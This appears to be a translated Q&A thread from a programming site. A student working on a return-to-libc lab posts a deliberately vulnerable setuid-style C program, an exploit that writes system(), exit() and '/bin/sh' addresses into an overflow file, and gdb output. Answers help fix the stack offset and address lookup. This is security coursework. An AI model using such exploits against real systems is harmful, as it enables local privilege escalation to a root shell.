【问题标题】:Return-into-libc Attack返回到 libc 攻击
【发布时间】:2015-04-16 13:09:47
【问题描述】:

这是一个两部分的问题:

a)我正在处理 Return-into-libc 攻击,但由于某种原因没有获得 root shell。我应该采取一个易受攻击的程序:retlib.c。

/* retlib.c */
/* This program has a buffer overflow vulnerability. */
/* Our task is to exploit this vulnerability */
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int bof(FILE *badfile)
{
        char buffer[12];
        /* The following statement has a buffer overflow problem */
        fread(buffer, sizeof(char), 128, badfile);
        return 1;
}
int main(int argc, char **argv)
{
        FILE *badfile;
        badfile = fopen("badfile", "r");
        bof(badfile);
        printf("Returned Properly\n");
        fclose(badfile);
        return 1;
}

我正在使用我的漏洞利用:exploit_1.c

/* exploit_1.c */
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int main(int argc, char **argv)
{
char buf[40];
FILE *badfile;
badfile = fopen("./badfile", "w");

    *(long *) &buf[24] = 0xbffffe86; // "/bin/sh"
    *(long *) &buf[16] = 0x40076430; // system()
    *(long *) &buf[20] = 0x40069fb0; // exit()

fwrite(buf, 40, 1, badfile);
fclose(badfile);
}

我找到了系统的地址并使用gdb退出:

(gdb) b main
Breakpoint 1 at 0x80484b7
(gdb) r
Starting program: /home/cs4393/project2/exploit_1 

Breakpoint 1, 0x080484b7 in main ()
(gdb) p system
$1 = {<text variable, no debug info>} 0x40076430 <system>
(gdb) p exit
$2 = {<text variable, no debug info>} 0x40069fb0 <exit>
(gdb) 

我使用 myshell.c 程序找到了 /bin/sh 地址:

//myshell.c
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

void main (){
        char* shell = getenv("MYSHELL");
        if(shell)
        printf("%x\n", (unsigned int) shell);
}

比使用命令:

[02/15/2015 21:46] cs4393@ubuntu:~/project2$ export MYSHELL=/bin/sh
[02/15/2015 21:46] cs4393@ubuntu:~/project2$ ./myshell
bffffe86

我觉得我做的一切都是正确的,但我不断收到“分段错误(核心转储)”。我没有使用 -fstack-protector,chmod 4755 和 ASLR 已关闭。有什么想法吗?

b) 我也在使用 retlib-env.c:

/*retlib-env.c*/
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int bof(FILE *badfile)
{
        char buffer[12];
        /* The following statement has a buffer overflow problem */
        fread(buffer, sizeof(char), 128, badfile);
        return 1;
}
int main(int argc, char **argv)
{
        FILE *badfile;
        char* shell=getenv("MYSHELL");
        if(shell)
                printf("%x\n", (unsigned int)shell);
        badfile = fopen("badfile", "r");
        //system(shell);
        bof(badfile);
        printf("Returned Properly\n");
        fclose(badfile);
        return 1;
}

在我看来,这与 a 部分类似,但“在此示例中,易受攻击的程序 retlib-env.c 将引用 MYSHELL 环境。”我不知道我需要添加什么来使其发挥作用。任何朝着正确方向的提示或轻推都会非常有帮助。我有 MYSHELL,但我不确定如何引用它来利用 retlib-env.c。不应该和a部分很相似吗?

【问题讨论】:

    标签: c linux buffer-overflow


    【解决方案1】:

    可能函数 system()、exit() 等的地址在每次程序调用时都会发生变化。您不能依赖加载程序图、对这些地址进行调试、关闭调试会话并再次运行程序,因为第二次程序图可能已在完全不同的起始地址加载。

    【讨论】:

      【解决方案2】:
      $gdb -q retlib
      

      你需要找到 retlib 的系统和退出地址而不是被利用。 Exploit 只准备一个exploit 文件。 Retlib 读取这个文件直到缓冲区溢出。据我所知,系统地址段应该在缓冲区之后的 12 处开始,这意味着它将是 buf[24]。

      【讨论】:

        【解决方案3】:

        程序名称的长度会影响堆栈中环境变量的地址。要得到字符串/bin/sh的正确地址,你应该保持搜索/bin/sh的程序长度(即myshell)等于你最终攻击程序的长度(即retlib)。

        另外,你需要找出返回帧地址应该是4加上bofebp&amp;buffer之间的距离,应该是20+4=24而不是16你的代码。您可以在使用标志-g编译的程序上通过gdb进行验证。

        【讨论】:

          猜你喜欢
          • 1970-01-01
          • 2017-06-22
          • 1970-01-01
          • 1970-01-01
          • 1970-01-01
          • 1970-01-01
          • 1970-01-01
          • 1970-01-01
          • 1970-01-01
          相关资源
          最近更新 更多